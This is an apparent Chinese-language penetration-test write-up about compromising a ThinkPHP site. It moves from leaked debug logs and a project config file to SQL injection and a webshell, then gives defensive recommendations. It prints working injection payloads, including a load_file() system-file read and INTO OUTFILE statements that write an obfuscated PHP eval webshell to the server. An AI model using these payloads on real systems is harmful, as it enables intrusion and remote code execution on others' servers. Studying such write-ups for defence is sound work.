【Web实战】记一次日志泄露到GetShell
字数 1101 2025-08-10 08:28:49
ThinkPHP日志泄露到GetShell实战分析
1. 漏洞背景
本次实战案例基于ThinkPHP框架开发的网站,通过日志泄露漏洞最终获取服务器权限。ThinkPHP作为国内广泛使用的PHP框架,其日志功能在调试模式下可能会记录敏感信息,包括SQL查询语句,这为攻击者提供了可利用的切入点。
2. 信息收集阶段
2.1 初步侦察
- 目标站点仅显示三个功能点:
- 功能点1:访问直接返回404
- 功能点2:注册表单
- 功能点3:同样返回404
2.2 目录扫描发现
- 发现
.settings/org.eclipse.core.resources.prefs配置文件泄露- 该文件通常用于规定项目文件编码
- 泄露了项目内所有功能点路径
2.3 ThinkPHP特征识别
- 使用专用工具
ThinkphpGUI(GitHub开源项目)确认框架版本和漏洞 - 发现存在日志泄露漏洞
3. 日志泄露利用
3.1 日志文件发现
- ThinkPHP在调试模式下会记录详细日志
- 日志中包含:
- 用户输入数据
- SQL查询语句
- 错误信息
3.2 关键发现
- 日志中记录了包含单引号的SQL语句:
SELECT * FROM table WHERE id = '1'' - 发现SQL语句闭合方式为
)而非单引号
4. SQL注入攻击
4.1 注入点确认
- 目标功能点有验证码保护,需手工测试
- 成功获取数据库信息:
- 数据库类型:MariaDB
- 版本信息
- 当前用户权限
4.2 文件读取
- 通过目录扫描发现
demo目录,获取网站物理路径 - 使用
load_file()函数读取系统文件验证:union select 1,load_file('C:/windows/win.ini'),3,4,5,6,7,8,9 --+
5. 文件写入与GetShell
5.1 列数确定
- 由于
order by不返回结果,采用逐列测试法 - 最终确定需要9列:
1) union select 1,2,3,4,5,6,7,8,'1' into outfile '路径/1.php' --+
5.2 Webshell写入
- 构造Base64编码的PHP代码:
<?php eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYAQRUGOA==')));?> - 完整注入语句:
1) union select 1,2,3,4,5,6,7,8,from_base64('PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgnZUp4TExVdk0wVkNKRC9BUERvbFdUODVOVVkvVnRBWUFSUVVHT0E9PScpKSk7Pz4=') into outfile '绝对路径/随机名.php' --+
6. 防御建议
6.1 防止日志泄露
- 生产环境关闭调试模式
- 限制日志目录访问权限
- 定期清理日志文件
6.2 SQL注入防护
- 使用预处理语句
- 严格过滤用户输入
- 避免直接拼接SQL语句
6.3 文件操作安全
- 禁用
into outfile权限 - 设置
secure_file_priv限制MySQL文件操作 - 上传目录设置为不可执行
6.4 其他防护措施
- 敏感配置文件不应存放在web目录
- 验证码应有效防止自动化攻击
- 安全设备规则应及时更新
7. 总结
本案例展示了从信息收集到最终GetShell的完整攻击链,重点利用了ThinkPHP日志泄露和SQL注入漏洞的组合攻击。攻击者通过日志分析获取关键信息,结合文件操作权限成功植入Webshell。防御方应从多个层面建立防护体系,特别是生产环境的安全配置和敏感信息的保护。